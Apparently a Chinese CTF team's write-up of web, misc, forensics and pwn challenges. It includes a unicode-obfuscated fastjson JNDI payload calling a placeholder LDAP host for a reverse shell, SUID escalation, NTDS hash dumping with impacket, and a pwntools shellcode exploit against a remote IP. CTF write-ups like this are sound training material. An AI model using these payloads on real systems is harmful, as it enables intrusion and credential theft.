type
Post
status
Published
date
Jul 10, 2022
slug
summary
干煸豆角队wp
tags
CTF_Wp
category
CTF_Wp
icon
password
URL
Photo
webEz_gadgetmiscdomainhackerdomainhacker2取证(AK)手机取证1手机取证2电脑取证1电脑取证2电脑取证3电脑取证4程序取证1程序取证2程序取证3程序取证4网站取证1网站取证2网站取证3网站取证4PWNPwn1
web
Ez_gadget
审计后发现 需要不同的str 但是hashCode需要一样
将前两位字母替换计算

绕过之后就可以打fastjson 1.2.62了 ,bypass绕过使用unicode就可以了
使用RougeJndi 生成恶意类反弹shell

{"\u0040\u0074\u0079\u0070\u0065":"\u006f\u0072\u0067\u002e\u0061\u0070\u 0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u007 2\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u 002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u006 002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u006 5\u0072","asText":"unicode(ldap://xxx/o=tomcat))"}

反弹shell后,suid提权date,查看/root/flag.txt

misc
domainhacker
看流量包发现是个动态加密木马流量

最后一个找到他是一个压缩包,但是有密码

追踪加密压缩包流量找到解压密码

解压之后得到机器码

domainhacker2
根据第一个可知他压缩命令时会返回进度条,搜索100%,追踪流找到请求包

找到之后丢到之前的解密脚本中
<?php $q8fb9d4c082c11 = "suY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg=="; $s = base64_decode(substr($q8fb9d4c082c11, 2)); $d= "1a4be8815ef8b4e7e465b620"; $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; echo $c;

得到解压密码
FakePassword123$ 发现两个文件,丢到kali中解密impacket-secretsdump -system ./SYSTEM -ntds ./ntds.dit LOCAL -history查看历史密码

取证(AK)
手机取证1
一个是这个图图库直接找

手机取证2
第二个是在skype里面的群组里有姜总和手机持有人的对话

电脑取证1

电脑取证2
这个是获取镜像的进程

电脑取证3
后面是用工具爆破出密码




电脑取证4
先用password kit,提取新建文本文档,然后得到这一串
然后将unprotect导入取证大师,得到一个zip


然后破解

最后得到这个

程序取证1

程序取证2

程序取证3

程序取证4

网站取证1


一句话木马连接密码
lanmaobei666网站取证2

找到加密函数跑一下 ,坑 注意
PHP7.0!!!
网站取证3
全局搜索encrypt找到encrypt相关函数定义 , 阅读源码发现盐值

网站取证4
SQL文件仿真得到交易数据

解密狗狗币脚本
<?php function decrypt($data, $key = 'jyzg123456') { $key = md5($key); $x = 0; $data = base64_decode($data); $len = mb_strlen($data); $l = mb_strlen($key); $char = ''; $str = ''; for ($i = 0; $i < $len; $i++) { if ($x == $l) { $x = 0; } $char .= mb_substr($key, $x, 1); $x++; } for ($i = 0; $i < $len; $i++) { if (ord(mb_substr($data, $i, 1)) < ord(mb_substr($char, $i, 1))) { $str .= chr((ord(mb_substr($data, $i, 1)) + 256) - ord(mb_substr($char, $i, 1))); } else { $str .= chr(ord(mb_substr($data, $i, 1)) - ord(mb_substr($char, $i, 1))); } } return $str; } $total=0; $datastuck=['mZVymm9t', 'lpxqlXFo', 'l5xummto', 'm5Zwm3Bn', 'nJhtlGlm', 'm5tpmGtm', 'm5ptnGtu', 'mZlym25r', 'm5hpnHBu', 'm5prlm9u', 'nJlyl2hu', 'lptummhs', 'lpxrl21n', 'mZRpnHBs', 'mZpxm2lr', 'm5dtmGls', 'mpxvlnBv', 'mJpynHBt', 'nJZwm2lu', 'mpdtnWxq', 'nJdtlmpr', 'mZtymHBm', 'nJlslmpp', 'l5RunW1p', 'nJxplXFm', 'lZdpmm1s', 'mZZwnW9u', 'mJVrmmhp', 'lZZwl3Bs', 'm5xvm2hm', 'mpZslmpm', 'mZtrnGtp', 'lp1rm21t', 'nJxplmtp', 'l5twlXFq', 'lphqmm9s', 'm51wmG1q', 'mJlxlWto', 'lJ1vmXFq', 'mpVpmW5r', 'm5lrlGpr', 'mpxplm9u', 'lZpxnHFn', 'nJdymWpm', 'mJpum3Fo', 'lpRrmWto', 'lZtunXBv', 'lpprnWtt', 'lJdslnBr', 'lJZrnWpm', 'l5Zrm21m', 'lJdul2hm', 'mphylG9q', 'lZhpm2pp', 'lZ1qnW1s', 'nJ1tlHFp', 'mZxqm2tp', 'mZdsm21t', 'mpRvlG9o', 'mJVqlmhv', 'mJRwlHBq', 'l5dtmWtt', 'mZdylHFt', 'l5RqlWxn', 'mZ1um3Fs', 'lJ1rnWhu', 'm5pulWhv', 'lptrnW1u', 'm5xynWxn', 'lpRynGtr', 'mpxulGlm', 'nJdslm9r', 'lJhslHBq', 'nJpwnWhu', 'mptql2tv', 'l51xmmlp', 'mZVymXFn', 'lJhqnW5q', 'm5ppmGpr', 'mZlqm21t', 'mpZslWxt', 'mJ1pnHFm', 'l5drlXBp', 'mJlvmW1u', 'mZtxlG5t', 'nJtsnHFn', 'l5Rvm29o', 'm5xvlWxv', 'm5Zrl2xm', 'mZlwlG1u', 'nJpvlWtr', 'mJxym25s', 'lpVqnWxv', 'mZVvl3Fq', 'lZVtlW5m', 'lZRqlGhn', 'nJxqm2hn', 'nJVtl21s', 'lJdumWlq', 'mJtxmGtp', 'mZxsnHFv', 'lpdtl2xn', 'mphqlm5p', 'lJdxlGpn', 'lpVvlHFu', 'lJhvmHBn', 'l5xunGtv', 'lZRul2pt', 'mpdqnGxu', 'l5Zxlmho', 'lJppmWhq', 'nJVylWpp', 'm5VxnWlr', 'lpdsnGtq', 'mZ1tnGpt', 'mJVqmmtq', 'l5hslWhm', 'lZZtl21r', 'nJlumGlm', 'lJhsmW9t', 'lZZym25s', 'l5tpnHBt', 'nJVunG1q', 'mJdtlHFu', 'mpVtlnFp', 'mplrnG1t', 'mJ1ylHBr', 'nJhynG5m', 'mplymG1r', 'lJtxlGxo', 'lpRxnGlm', 'mZxwnG5s', 'mZptnWpn', 'mJZylGxq', 'mZZvm3Fo', 'lJdxnW9t', 'lZtxmXFv', 'nJxtlXFm', 'mJZumW1r', 'nJ1tmG1p', 'mplslmpu', 'lJZxlG5p', 'nJtxmXBq', 'lZdxmmtq', 'lJdrlG1o', 'mpZtmmlm', 'mJVxnGpm', 'mJVwmWxu', 'mplslWps']; for($i=0 ; $i<=148; $i++){ $money=decrypt($datastuck[$i],$key = 'jyzg123456'); echo $money."\n"; }

得出来的是一竖列,直接复制粘贴到excell 手算的每天总GG币数量(有点菜不是很会写py脚本),然后粘贴到汇率的表格中求单元格乘积。

PWN
Pwn1
这个题就是直接执行一段写入的shellcode,所以构造好shellcode就好了
# -*- coding: UTF-8 -*- from pwn import * from LibcSearcher import * context.arch = 'amd64' context.log_level = 'debug' local_file = './escape_shellcode' #libc = ELF('/home/yjc/Desktop/Libc/U16/libc-2.23-32.so') select = 1 if select == 0: p = process(local_file) libc = ELF('/glibc/x64/2.23/lib/libc-2.23.so') #gdb.attach(p) else: p = remote('39.107.124.203',21006) libc = ELF('/home/yjc/Desktop/Libc/U16/libc-2.23-64.so') #libc = ELF(remote_libc) elf = ELF(local_file) pop_rdi = 0x00000000000015f3 pop_rbp = 0x0000000000001273 shellcode = """ mov rsi, [rip - 0x2a9] sub rsi, 0x4000 mov rdi, 1 mov rdx, 0x400 Loop1: sub rsi, 0x400 mov rax, 1 syscall cmp rax, 0 jl Loop1 and rsi, 0xfffffffffffff000 add rsi, 0x120 mov rdx, 0x50 mov rax, 1 syscall """ shellcode = asm(shellcode,arch = "amd64") p.sendline(shellcode) p.interactive()
